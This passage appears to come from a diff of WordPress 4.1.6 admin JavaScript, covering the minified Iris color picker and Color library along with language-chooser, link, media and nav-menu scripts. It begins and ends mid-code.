Color(e).setHSpace(b.options.mode),b.options.color=b._color.toString(),b.controls={square:b.picker.find(".iris-square"),squareDrag:b.picker.find(".iris-square-value"),horiz:b.picker.find(".iris-square-horiz"),vert:b.picker.find(".iris-square-vert"),strip:b.picker.find(".iris-strip"),stripSlider:b.picker.find(".iris-strip .iris-slider-offset")},"hsv"===b.options.mode&&b._has("l",b.options.controls)?b.options.controls=b._defaultHSVControls:"hsl"===b.options.mode&&b._has("v",b.options.controls)&&(b.options.controls=b._defaultHSLControls),b.hue=b._color.h(),b.options.hide&&b.picker.hide(),b.options.border&&b.picker.addClass("iris-border"),b._initControls(),b.active="external",b._dimensions(),b._change()},_has:function(b,c){var d=!1;return a.each(c,function(a,c){return b===c?(d=!0,!1):void 0}),d},_addPalettes:function(){var b=a('<div class="iris-palette-container" />'),c=a('<a class="iris-palette" tabindex="0" />'),d=a.isArray(this.options.palettes)?this.options.palettes:this._palettes;this.picker.find(".iris-palette-container").length&&(b=this.picker.find(".iris-palette-container").detach().html("")),a.each(d,function(a,d){c.clone().data("color",d).css("backgroundColor",d).appendTo(b).height(10).width(10)}),this.picker.append(b)},_paint:function(){var a=this;a._paintDimension("top","strip"),a._paintDimension("top","vert"),a._paintDimension("left","horiz")},_paintDimension:function(a,b){var c,d=this,e=d._color,f=d.options.mode,g=d._getHSpaceColor(),h=d.controls[b],i=d.options.controls;if(b!==d.active&&("square"!==d.active||"strip"===b))switch(i[b]){case"h":if("hsv"===f){switch(g=e.clone(),b){case"horiz":g[i.vert](100);break;case"vert":g[i.horiz](100);break;case"strip":g.setHSpace("hsl")}c=g.toHsl()}else c="strip"===b?{s:g.s,l:g.l}:{s:100,l:g.l};h.raninbowGradient(a,c);break;case"s":"hsv"===f?"vert"===b?c=[e.clone().a(0).s(0).toCSS("rgba"),e.clone().a(1).s(0).toCSS("rgba")]:"strip"===b?c=[e.clone().s(100).toCSS("hsl"),e.clone().s(0).toCSS("hsl")]:"horiz"===b&&(c=["#fff","hsl("+g.h+",100%,50%)"]):c="vert"===b&&"h"===d.options.controls.horiz?["hsla(0, 0%, "+g.l+"%, 0)","hsla(0, 0%, "+g.l+"%, 1)"]:["hsl("+g.h+",0%,50%)","hsl("+g.h+",100%,50%)"],h.gradient(a,c);break;case"l":c="strip"===b?["hsl("+g.h+",100%,100%)","hsl("+g.h+", "+g.s+"%,50%)","hsl("+g.h+",100%,0%)"]:["#fff","rgba(255,255,255,0) 50%","rgba(0,0,0,0) 50%","rgba(0,0,0,1)"],h.gradient(a,c);break;case"v":c="strip"===b?[e.clone().v(100).toCSS(),e.clone().v(0).toCSS()]:["rgba(0,0,0,0)","#000"],h.gradient(a,c)}},_getHSpaceColor:function(){return"hsv"===this.options.mode?this._color.toHsv():this._color.toHsl()},_dimensions:function(b){var c,d,e,f,g=this,h=g.options,i=g.controls,j=i.square,k=g.picker.find(".iris-strip"),l="77.5%",m="12%",n=20,o=h.border?h.width-n:h.width,p=a.isArray(h.palettes)?h.palettes.length:g._palettes.length;return b&&(j.css("width",""),k.css("width",""),g.picker.css({width:"",height:""})),l=o*(parseFloat(l)/100),m=o*(parseFloat(m)/100),c=h.border?l+n:l,j.width(l).height(l),k.height(l).width(m),g.picker.css({width:h.width,height:c}),h.palettes?(d=2*l/100,f=l-(p-1)*d,e=f/p,g.picker.find(".iris-palette").each(function(b){var c=0===b?0:d;a(this).css({width:e,height:e,marginLeft:c})}),g.picker.css("paddingBottom",e+d),k.height(e+d+l),void 0):g.picker.css("paddingBottom","")},_addInputListeners:function(a){var b=this,c=100,d=function(c){var d=new Color(a.val()),e=a.val().replace(/^#/,"");a.removeClass("iris-error"),d.error?""!==e&&a.addClass("iris-error"):d.toString()!==b._color.toString()&&("keyup"===c.type&&e.match(/^[0-9a-fA-F]{3}$/)||b._setOption("color",d.toString()))};a.on("change",d).on("keyup",b._debounce(d,c)),b.options.hide&&a.one("focus",function(){b.show()})},_initControls:function(){var b=this,c=b.controls,d=c.square,e=b.options.controls,f=b._scale[e.strip];c.stripSlider.slider({orientation:"vertical",max:f,slide:function(a,c){b.active="strip","h"===e.strip&&(c.value=f-c.value),b._color[e.strip](c.value),b._change.apply(b,arguments)}}),c.squareDrag.draggable({containment:c.square.find(".iris-square-inner"),zIndex:1e3,cursor:"move",drag:function(a,c){b._squareDrag(a,c)},start:function(){d.addClass("iris-dragging"),a(this).addClass("ui-state-focus")},stop:function(){d.removeClass("iris-dragging"),a(this).removeClass("ui-state-focus")}}).on("mousedown mouseup",function(c){var d="ui-state-focus";c.preventDefault(),"mousedown"===c.type?(b.picker.find("."+d).removeClass(d).blur(),a(this).addClass(d).focus()):a(this).removeClass(d)}).on("keydown",function(a){var d=c.square,e=c.squareDrag,f=e.position(),g=b.options.width/100;switch(a.altKey&&(g*=10),a.keyCode){case 37:f.left-=g;break;case 38:f.top-=g;break;case 39:f.left+=g;break;case 40:f.top+=g;break;default:return!0}f.left=Math.max(0,Math.min(f.left,d.width())),f.top=Math.max(0,Math.min(f.top,d.height())),e.css(f),b._squareDrag(a,{position:f}),a.preventDefault()}),d.mousedown(function(c){var d,e;1===c.which&&a(c.target).is("div")&&(d=b.controls.square.offset(),e={top:c.pageY-d.top,left:c.pageX-d.left},c.preventDefault(),b._squareDrag(c,{position:e}),c.target=b.controls.squareDrag.get(0),b.controls.squareDrag.css(e).trigger(c))}),b.options.palettes&&b._paletteListeners()},_paletteListeners:function(){var b=this;b.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){b._color.fromCSS(a(this).data("color")),b.active="external",b._change()}).on("keydown.palette",".iris-palette",function(b){return 13!==b.keyCode&&32!==b.keyCode?!0:(b.stopPropagation(),a(this).click(),void 0)})},_squareDrag:function(a,b){var c=this,d=c.options.controls,e=c._squareDimensions(),f=Math.round((e.h-b.position.top)/e.h*c._scale[d.vert]),g=c._scale[d.horiz]-Math.round((e.w-b.position.left)/e.w*c._scale[d.horiz]);c._color[d.horiz](g)[d.vert](f),c.active="square",c._change.apply(c,arguments)},_setOption:function(b,c){var d,e,f,g=this,h=g.options[b],i=!1;switch(g.options[b]=c,b){case"color":c=""+c,d=c.replace(/^#/,""),e=new Color(c).setHSpace(g.options.mode),e.error?g.options[b]=h:(g._color=e,g.options.color=g.options[b]=g._color.toString(),g.active="external",g._change());break;case"palettes":i=!0,c?g._addPalettes():g.picker.find(".iris-palette-container").remove(),h||g._paletteListeners();break;case"width":i=!0;break;case"border":i=!0,f=c?"addClass":"removeClass",g.picker[f]("iris-border");break;case"mode":case"controls":if(h===c)return;return f=g.element,h=g.options,h.hide=!g.picker.is(":visible"),g.destroy(),g.picker.remove(),a(g.element).iris(h)}i&&g._dimensions(!0)},_squareDimensions:function(a){var c,d,e=this.controls.square;return a!==b&&e.data("dimensions")?e.data("dimensions"):(d=this.controls.squareDrag,c={w:e.width(),h:e.height()},e.data("dimensions",c),c)},_isNonHueControl:function(a,b){return"square"===a&&"h"===this.options.controls.strip?!0:"external"===b||"h"===b&&"strip"===a?!1:!0},_change:function(){var b=this,c=b.controls,d=b._getHSpaceColor(),e=["square","strip"],f=b.options.controls,g=f[b.active]||"external",h=b.hue;"strip"===b.active?e=[]:"external"!==b.active&&e.pop(),a.each(e,function(a,e){var g,h,i;if(e!==b.active)switch(e){case"strip":g="h"===f.strip?b._scale[f.strip]-d[f.strip]:d[f.strip],c.stripSlider.slider("value",g);break;case"square":h=b._squareDimensions(),i={left:d[f.horiz]/b._scale[f.horiz]*h.w,top:h.h-d[f.vert]/b._scale[f.vert]*h.h},b.controls.squareDrag.css(i)}}),d.h!==h&&b._isNonHueControl(b.active,g)&&b._color.h(h),b.hue=b._color.h(),b.options.color=b._color.toString(),b._inited&&b._trigger("change",{type:b.active},{color:b._color}),b.element.is(":input")&&!b._color.error&&(b.element.removeClass("iris-error"),b.element.val()!==b._color.toString()&&b.element.val(b._color.toString())),b._paint(),b._inited=!0,b.active=!1},_debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},show:function(){this.picker.show()},hide:function(){this.picker.hide()},toggle:function(){this.picker.toggle()},color:function(a){return a===!0?this._color.clone():a===b?this._color.toString():(this.option("color",a),void 0)}},a.widget("a8c.iris",n),a('<style id="iris-css">'+m+"</style>").appendTo("head"),void 0)}(jQuery),function(a,b){var c=function(a,b){return this instanceof c?this._init(a,b):new c(a,b)};c.fn=c.prototype={_color:0,_alpha:1,error:!1,_hsl:{h:0,s:0,l:0},_hsv:{h:0,s:0,v:0},_hSpace:"hsl",_init:function(a){var c="noop";switch(typeof a){case"object":return a.a!==b&&this.a(a.a),c=a.r!==b?"fromRgb":a.l!==b?"fromHsl":a.v!==b?"fromHsv":c,this[c](a);case"string":return this.fromCSS(a);case"number":return this.fromInt(parseInt(a,10))}return this},_error:function(){return this.error=!0,this},clone:function(){for(var a=new c(this.toInt()),b=["_alpha","_hSpace","_hsl","_hsv","error"],d=b.length-1;d>=0;d--)a[b[d]]=this[b[d]];return a},setHSpace:function(a){return this._hSpace="hsv"===a?a:"hsl",this},noop:function(){return this},fromCSS:function(a){var b,c=/^(rgb|hs(l|v))a?\(/;if(this.error=!1,a=a.replace(/^\s+/,"").replace(/\s+$/,"").replace(/;$/,""),a.match(c)&&a.match(/\)$/)){if(b=a.replace(/(\s|%)/g,"").replace(c,"").replace(/,?\);?$/,"").split(","),b.length<3)return this._error();if(4===b.length&&(this.a(parseFloat(b.pop())),this.error))return this;for(var d=b.length-1;d>=0;d--)if(b[d]=parseInt(b[d],10),isNaN(b[d]))return this._error();return a.match(/^rgb/)?this.fromRgb({r:b[0],g:b[1],b:b[2]}):a.match(/^hsv/)?this.fromHsv({h:b[0],s:b[1],v:b[2]}):this.fromHsl({h:b[0],s:b[1],l:b[2]})}return this.fromHex(a)},fromRgb:function(a,c){return"object"!=typeof a||a.r===b||a.g===b||a.b===b?this._error():(this.error=!1,this.fromInt(parseInt((a.r<<16)+(a.g<<8)+a.b,10),c))},fromHex:function(a){return a=a.replace(/^#/,"").replace(/^0x/,""),3===a.length&&(a=a[0]+a[0]+a[1]+a[1]+a[2]+a[2]),this.error=!/^[0-9A-F]{6}$/i.test(a),this.fromInt(parseInt(a,16))},fromHsl:function(a){var c,d,e,f,g,h,i,j;return"object"!=typeof a||a.h===b||a.s===b||a.l===b?this._error():(this._hsl=a,this._hSpace="hsl",h=a.h/360,i=a.s/100,j=a.l/100,0===i?c=d=e=j:(f=.5>j?j*(1+i):j+i-j*i,g=2*j-f,c=this.hue2rgb(g,f,h+1/3),d=this.hue2rgb(g,f,h),e=this.hue2rgb(g,f,h-1/3)),this.fromRgb({r:255*c,g:255*d,b:255*e},!0))},fromHsv:function(a){var c,d,e,f,g,h,i,j,k,l,m;if("object"!=typeof a||a.h===b||a.s===b||a.v===b)return this._error();switch(this._hsv=a,this._hSpace="hsv",c=a.h/360,d=a.s/100,e=a.v/100,i=Math.floor(6*c),j=6*c-i,k=e*(1-d),l=e*(1-j*d),m=e*(1-(1-j)*d),i%6){case 0:f=e,g=m,h=k;break;case 1:f=l,g=e,h=k;break;case 2:f=k,g=e,h=m;break;case 3:f=k,g=l,h=e;break;case 4:f=m,g=k,h=e;break;case 5:f=e,g=k,h=l}return this.fromRgb({r:255*f,g:255*g,b:255*h},!0)},fromInt:function(a,c){return this._color=parseInt(a,10),isNaN(this._color)&&(this._color=0),this._color>16777215?this._color=16777215:this._color<0&&(this._color=0),c===b&&(this._hsv.h=this._hsv.s=this._hsl.h=this._hsl.s=0),this},hue2rgb:function(a,b,c){return 0>c&&(c+=1),c>1&&(c-=1),1/6>c?a+6*(b-a)*c:.5>c?b:2/3>c?a+6*(b-a)*(2/3-c):a},toString:function(){var a=parseInt(this._color,10).toString(16);if(this.error)return"";if(a.length<6)for(var b=6-a.length-1;b>=0;b--)a="0"+a;return"#"+a},toCSS:function(a,b){switch(a=a||"hex",b=parseFloat(b||this._alpha),a){case"rgb":case"rgba":var c=this.toRgb();return 1>b?"rgba( "+c.r+", "+c.g+", "+c.b+", "+b+" )":"rgb( "+c.r+", "+c.g+", "+c.b+" )";case"hsl":case"hsla":var d=this.toHsl();return 1>b?"hsla( "+d.h+", "+d.s+"%, "+d.l+"%, "+b+" )":"hsl( "+d.h+", "+d.s+"%, "+d.l+"% )";default:return this.toString()}},toRgb:function(){return{r:255&this._color>>16,g:255&this._color>>8,b:255&this._color}},toHsl:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=(g+h)/2;if(g===h)a=b=0;else{var j=g-h;switch(b=i>.5?j/(2-g-h):j/(g+h),g){case d:a=(e-f)/j+(f>e?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsl.h!==a&&(a=this._hsl.h),b=Math.round(100*b),0===b&&this._hsl.s&&(b=this._hsl.s),{h:a,s:b,l:Math.round(100*i)}},toHsv:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=g,j=g-h;if(b=0===g?0:j/g,g===h)a=b=0;else{switch(g){case d:a=(e-f)/j+(f>e?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsv.h!==a&&(a=this._hsv.h),b=Math.round(100*b),0===b&&this._hsv.s&&(b=this._hsv.s),{h:a,s:b,v:Math.round(100*i)}},toInt:function(){return this._color},toIEOctoHex:function(){var a=this.toString(),b=parseInt(255*this._alpha,10).toString(16);return 1===b.length&&(b="0"+b),"#"+b+a.replace(/^#/,"")},toLuminosity:function(){var a=this.toRgb();return.2126*Math.pow(a.r/255,2.2)+.7152*Math.pow(a.g/255,2.2)+.0722*Math.pow(a.b/255,2.2)},getDistanceLuminosityFrom:function(a){if(!(a instanceof c))throw"getDistanceLuminosityFrom requires a Color object";var b=this.toLuminosity(),d=a.toLuminosity();return b>d?(b+.05)/(d+.05):(d+.05)/(b+.05)},getMaxContrastColor:function(){var a=this.toLuminosity(),b=a>=.5?"000000":"ffffff";return new c(b)},getReadableContrastingColor:function(a,d){if(!a instanceof c)return this;var e=d===b?5:d,f=a.getDistanceLuminosityFrom(this),g=a.getMaxContrastColor(),h=g.getDistanceLuminosityFrom(a);if(e>=h)return g;if(f>=e)return this;for(var i=0===g.toInt()?-1:1;e>f&&(this.l(i,!0),f=this.getDistanceLuminosityFrom(a),0!==this._color&&16777215!==this._color););return this},a:function(a){if(a===b)return this._alpha;var c=parseFloat(a);return isNaN(c)?this._error():(this._alpha=c,this)},darken:function(a){return a=a||5,this.l(-a,!0)},lighten:function(a){return a=a||5,this.l(a,!0)},saturate:function(a){return a=a||15,this.s(a,!0)},desaturate:function(a){return a=a||15,this.s(-a,!0)},toGrayscale:function(){return this.setHSpace("hsl").s(0)},getComplement:function(){return this.h(180,!0)},getSplitComplement:function(a){a=a||1;var b=180+30*a;return this.h(b,!0)},getAnalog:function(a){a=a||1;var b=30*a;return this.h(b,!0)},getTetrad:function(a){a=a||1;var b=60*a;return this.h(b,!0)},getTriad:function(a){a=a||1;var b=120*a;return this.h(b,!0)},_partial:function(a){var c=d[a];return function(d,e){var f=this._spaceFunc("to",c.space);return d===b?f[a]:(e===!0&&(d=f[a]+d),c.mod&&(d%=c.mod),c.range&&(d=d<c.range[0]?c.range[0]:d>c.range[1]?c.range[1]:d),f[a]=d,this._spaceFunc("from",c.space,f))}},_spaceFunc:function(a,b,c){var d=b||this._hSpace,e=a+d.charAt(0).toUpperCase()+d.substr(1);return this[e](c)}};var d={h:{mod:360},s:{range:[0,100]},l:{space:"hsl",range:[0,100]},v:{space:"hsv",range:[0,100]},r:{space:"rgb",range:[0,255]},g:{space:"rgb",range:[0,255]},b:{space:"rgb",range:[0,255]}};for(var e in d)d.hasOwnProperty(e)&&(c.fn[e]=c.fn._partial(e));"object"==typeof exports?module.exports=c:a.Color=c}(this);
Index: /tags/4.1.6/src/wp-admin/js/language-chooser.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/language-chooser.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/language-chooser.js	(revision 33402)
@@ -0,0 +1,26 @@
+jQuery( function($) {
+
+var select = $( '#language' ),
+	submit = $( '#language-continue' );
+
+if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) {
+	return;
+}
+
+select.focus().on( 'change', function() {
+	var option = select.children( 'option:selected' );
+	submit.attr({
+		value: option.data( 'continue' ),
+		lang: option.attr( 'lang' )
+	});
+});
+
+$( 'form' ).submit( function() {
+	// Don't show a spinner for English and installed languages,
+	// as there is nothing to download.
+	if ( ! select.children( 'option:selected' ).data( 'installed' ) ) {
+		$( this ).find( '.step .spinner' ).css( 'visibility', 'visible' );
+	}
+});
+
+});
Index: /tags/4.1.6/src/wp-admin/js/link.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/link.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/link.js	(revision 33402)
@@ -0,0 +1,69 @@
+/* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */
+
+jQuery(document).ready( function($) {
+
+	var newCat, noSyncChecks = false, syncChecks, catAddAfter;
+
+	$('#link_name').focus();
+	// postboxes
+	postboxes.add_postbox_toggles('link');
+
+	// category tabs
+	$('#category-tabs a').click(function(){
+		var t = $(this).attr('href');
+		$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
+		$('.tabs-panel').hide();
+		$(t).show();
+		if ( '#categories-all' == t )
+			deleteUserSetting('cats');
+		else
+			setUserSetting('cats','pop');
+		return false;
+	});
+	if ( getUserSetting('cats') )
+		$('#category-tabs a[href="#categories-pop"]').click();
+
+	// Ajax Cat
+	newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } );
+	$('#link-category-add-submit').click( function() { newCat.focus(); } );
+	syncChecks = function() {
+		if ( noSyncChecks )
+			return;
+		noSyncChecks = true;
+		var th = $(this), c = th.is(':checked'), id = th.val().toString();
+		$('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c );
+		noSyncChecks = false;
+	};
+
+	catAddAfter = function( r, s ) {
+		$(s.what + ' response_data', r).each( function() {
+			var t = $($(this).text());
+			t.find( 'label' ).each( function() {
+				var th = $(this), val = th.find('input').val(), id = th.find('input')[0].id, name = $.trim( th.text() ), o;
+				$('#' + id).change( syncChecks );
+				o = $( '<option value="' +  parseInt( val, 10 ) + '"></option>' ).text( name );
+			} );
+		} );
+	};
+
+	$('#categorychecklist').wpList( {
+		alt: '',
+		what: 'link-category',
+		response: 'category-ajax-response',
+		addAfter: catAddAfter
+	} );
+
+	$('a[href="#categories-all"]').click(function(){deleteUserSetting('cats');});
+	$('a[href="#categories-pop"]').click(function(){setUserSetting('cats','pop');});
+	if ( 'pop' == getUserSetting('cats') )
+		$('a[href="#categories-pop"]').click();
+
+	$('#category-add-toggle').click( function() {
+		$(this).parents('div:first').toggleClass( 'wp-hidden-children' );
+		$('#category-tabs a[href="#categories-all"]').click();
+		$('#newcategory').focus();
+		return false;
+	} );
+
+	$('.categorychecklist :checkbox').change( syncChecks ).filter( ':checked' ).change();
+});
Index: /tags/4.1.6/src/wp-admin/js/media-gallery.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/media-gallery.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/media-gallery.js	(revision 33402)
@@ -0,0 +1,26 @@
+/* global ajaxurl */
+jQuery(function($){
+	$( 'body' ).bind( 'click.wp-gallery', function(e){
+		var target = $( e.target ), id, img_size;
+
+		if ( target.hasClass( 'wp-set-header' ) ) {
+			( window.dialogArguments || opener || parent || top ).location.href = target.data( 'location' );
+			e.preventDefault();
+		} else if ( target.hasClass( 'wp-set-background' ) ) {
+			id = target.data( 'attachment-id' );
+			img_size = $( 'input[name="attachments[' + id + '][image-size]"]:checked').val();
+
+			jQuery.post(ajaxurl, {
+				action: 'set-background-image',
+				attachment_id: id,
+				size: img_size
+			}, function(){
+				var win = window.dialogArguments || opener || parent || top;
+				win.tb_remove();
+				win.location.reload();
+			});
+
+			e.preventDefault();
+		}
+	});
+});
Index: /tags/4.1.6/src/wp-admin/js/media-upload.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/media-upload.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/media-upload.js	(revision 33402)
@@ -0,0 +1,69 @@
+/* global tinymce, QTags */
+// send html to the post editor
+
+var wpActiveEditor, send_to_editor;
+
+send_to_editor = function( html ) {
+	var editor,
+		hasTinymce = typeof tinymce !== 'undefined',
+		hasQuicktags = typeof QTags !== 'undefined';
+
+	if ( ! wpActiveEditor ) {
+		if ( hasTinymce && tinymce.activeEditor ) {
+			editor = tinymce.activeEditor;
+			wpActiveEditor = editor.id;
+		} else if ( ! hasQuicktags ) {
+			return false;
+		}
+	} else if ( hasTinymce ) {
+		editor = tinymce.get( wpActiveEditor );
+	}
+
+	if ( editor && ! editor.isHidden() ) {
+		editor.execCommand( 'mceInsertContent', false, html );
+	} else if ( hasQuicktags ) {
+		QTags.insertContent( html );
+	} else {
+		document.getElementById( wpActiveEditor ).value += html;
+	}
+
+	// If the old thickbox remove function exists, call it
+	if ( window.tb_remove ) {
+		try { window.tb_remove(); } catch( e ) {}
+	}
+};
+
+// thickbox settings
+var tb_position;
+(function($) {
+	tb_position = function() {
+		var tbWindow = $('#TB_window'),
+			width = $(window).width(),
+			H = $(window).height(),
+			W = ( 833 < width ) ? 833 : width,
+			adminbar_height = 0;
+
+		if ( $('#wpadminbar').length ) {
+			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
+		}
+
+		if ( tbWindow.size() ) {
+			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
+			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
+			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
+			if ( typeof document.body.style.maxWidth !== 'undefined' )
+				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
+		}
+
+		return $('a.thickbox').each( function() {
+			var href = $(this).attr('href');
+			if ( ! href ) return;
+			href = href.replace(/&width=[0-9]+/g, '');
+			href = href.replace(/&height=[0-9]+/g, '');
+			$(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) );
+		});
+	};
+
+	$(window).resize(function(){ tb_position(); });
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/media.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/media.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/media.js	(revision 33402)
@@ -0,0 +1,111 @@
+/* global ajaxurl, attachMediaBoxL10n */
+
+var findPosts;
+( function( $ ){
+	findPosts = {
+		open: function( af_name, af_val ) {
+			var overlay = $( '.ui-find-overlay' );
+
+			if ( overlay.length === 0 ) {
+				$( 'body' ).append( '<div class="ui-find-overlay"></div>' );
+				findPosts.overlay();
+			}
+
+			overlay.show();
+
+			if ( af_name && af_val ) {
+				$( '#affected' ).attr( 'name', af_name ).val( af_val );
+			}
+
+			$( '#find-posts' ).show();
+
+			$('#find-posts-input').focus().keyup( function( event ){
+				if ( event.which == 27 ) {
+					findPosts.close();
+				} // close on Escape
+			});
+
+			// Pull some results up by default
+			findPosts.send();
+
+			return false;
+		},
+
+		close: function() {
+			$('#find-posts-response').html('');
+			$('#find-posts').hide();
+			$( '.ui-find-overlay' ).hide();
+		},
+
+		overlay: function() {
+			$( '.ui-find-overlay' ).on( 'click', function () {
+				findPosts.close();
+			});
+		},
+
+		send: function() {
+			var post = {
+					ps: $( '#find-posts-input' ).val(),
+					action: 'find_posts',
+					_ajax_nonce: $('#_ajax_nonce').val()
+				},
+				spinner = $( '.find-box-search .spinner' );
+
+			spinner.show();
+
+			$.ajax( ajaxurl, {
+				type: 'POST',
+				data: post,
+				dataType: 'json'
+			}).always( function() {
+				spinner.hide();
+			}).done( function( x ) {
+				if ( ! x.success ) {
+					$( '#find-posts-response' ).text( attachMediaBoxL10n.error );
+				}
+
+				$( '#find-posts-response' ).html( x.data );
+			}).fail( function() {
+				$( '#find-posts-response' ).text( attachMediaBoxL10n.error );
+			});
+		}
+	};
+
+	$( document ).ready( function() {
+		var $mediaGridWrap = $( '#wp-media-grid' );
+
+		// Open up a manage media frame into the grid.
+		if ( $mediaGridWrap.length && window.wp && window.wp.media ) {
+			window.wp.media({
+				frame: 'manage',
+				container: $mediaGridWrap
+			}).open();
+		}
+
+		$( '#find-posts-submit' ).click( function( event ) {
+			if ( ! $( '#find-posts-response input[type="radio"]:checked' ).length )
+				event.preventDefault();
+		});
+		$( '#find-posts .find-box-search :input' ).keypress( function( event ) {
+			if ( 13 == event.which ) {
+				findPosts.send();
+				return false;
+			}
+		});
+		$( '#find-posts-search' ).click( findPosts.send );
+		$( '#find-posts-close' ).click( findPosts.close );
+		$( '#doaction, #doaction2' ).click( function( event ) {
+			$( 'select[name^="action"]' ).each( function() {
+				if ( $(this).val() === 'attach' ) {
+					event.preventDefault();
+					findPosts.open();
+				}
+			});
+		});
+
+		// Enable whole row to be clicked
+		$( '.find-box-inside' ).on( 'click', 'tr', function() {
+			$( this ).find( '.found-radio input' ).prop( 'checked', true );
+		});
+	});
+})( jQuery );
Index: /tags/4.1.6/src/wp-admin/js/nav-menu.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/nav-menu.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/nav-menu.js	(revision 33402)
@@ -0,0 +1,1205 @@
+/**
+ * WordPress Administration Navigation Menu
+ * Interface JS functions
+ *
+ * @version 2.0.0
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/* global menus, postboxes, columns, isRtl, navMenuL10n, ajaxurl */
+
+var wpNavMenu;
+
+(function($) {
+
+	var api;
+
+	api = wpNavMenu = {
+
+		options : {
+			menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead.
+			globalMaxDepth : 11
+		},
+
+		menuList : undefined,	// Set in init.
+		targetList : undefined, // Set in init.
+		menusChanged : false,
+		isRTL: !! ( 'undefined' != typeof isRtl && isRtl ),
+		negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1,
+
+		// Functions that run on init.
+		init : function() {
+			api.menuList = $('#menu-to-edit');
+			api.targetList = api.menuList;
+
+			this.jQueryExtensions();
+
+			this.attachMenuEditListeners();
+
+			this.setupInputWithDefaultTitle();
+			this.attachQuickSearchListeners();
+			this.attachThemeLocationsListeners();
+
+			this.attachTabsPanelListeners();
+
+			this.attachUnsavedChangesListener();
+
+			if ( api.menuList.length )
+				this.initSortables();
+
+			if ( menus.oneThemeLocationNoMenus )
+				$( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom );
+
+			this.initManageLocations();
+
+			this.initAccessibility();
+
+			this.initToggles();
+
+			this.initPreviewing();
+		},
+
+		jQueryExtensions : function() {
+			// jQuery extensions
+			$.fn.extend({
+				menuItemDepth : function() {
+					var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left');
+					return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 );
+				},
+				updateDepthClass : function(current, prev) {
+					return this.each(function(){
+						var t = $(this);
+						prev = prev || t.menuItemDepth();
+						$(this).removeClass('menu-item-depth-'+ prev )
+							.addClass('menu-item-depth-'+ current );
+					});
+				},
+				shiftDepthClass : function(change) {
+					return this.each(function(){
+						var t = $(this),
+							depth = t.menuItemDepth();
+						$(this).removeClass('menu-item-depth-'+ depth )
+							.addClass('menu-item-depth-'+ (depth + change) );
+					});
+				},
+				childMenuItems : function() {
+					var result = $();
+					this.each(function(){
+						var t = $(this), depth = t.menuItemDepth(), next = t.next();
+						while( next.length && next.menuItemDepth() > depth ) {
+							result = result.add( next );
+							next = next.next();
+						}
+					});
+					return result;
+				},
+				shiftHorizontally : function( dir ) {
+					return this.each(function(){
+						var t = $(this),
+							depth = t.menuItemDepth(),
+							newDepth = depth + dir;
+
+						// Change .menu-item-depth-n class
+						t.moveHorizontally( newDepth, depth );
+					});
+				},
+				moveHorizontally : function( newDepth, depth ) {
+					return this.each(function(){
+						var t = $(this),
+							children = t.childMenuItems(),
+							diff = newDepth - depth,
+							subItemText = t.find('.is-submenu');
+
+						// Change .menu-item-depth-n class
+						t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId();
+
+						// If it has children, move those too
+						if ( children ) {
+							children.each(function() {
+								var t = $(this),
+									thisDepth = t.menuItemDepth(),
+									newDepth = thisDepth + diff;
+								t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId();
+							});
+						}
+
+						// Show "Sub item" helper text
+						if (0 === newDepth)
+							subItemText.hide();
+						else
+							subItemText.show();
+					});
+				},
+				updateParentMenuItemDBId : function() {
+					return this.each(function(){
+						var item = $(this),
+							input = item.find( '.menu-item-data-parent-id' ),
+							depth = parseInt( item.menuItemDepth(), 10 ),
+							parentDepth = depth - 1,
+							parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first();
+
+						if ( 0 === depth ) { // Item is on the top level, has no parent
+							input.val(0);
+						} else { // Find the parent item, and retrieve its object id.
+							input.val( parent.find( '.menu-item-data-db-id' ).val() );
+						}
+					});
+				},
+				hideAdvancedMenuItemFields : function() {
+					return this.each(function(){
+						var that = $(this);
+						$('.hide-column-tog').not(':checked').each(function(){
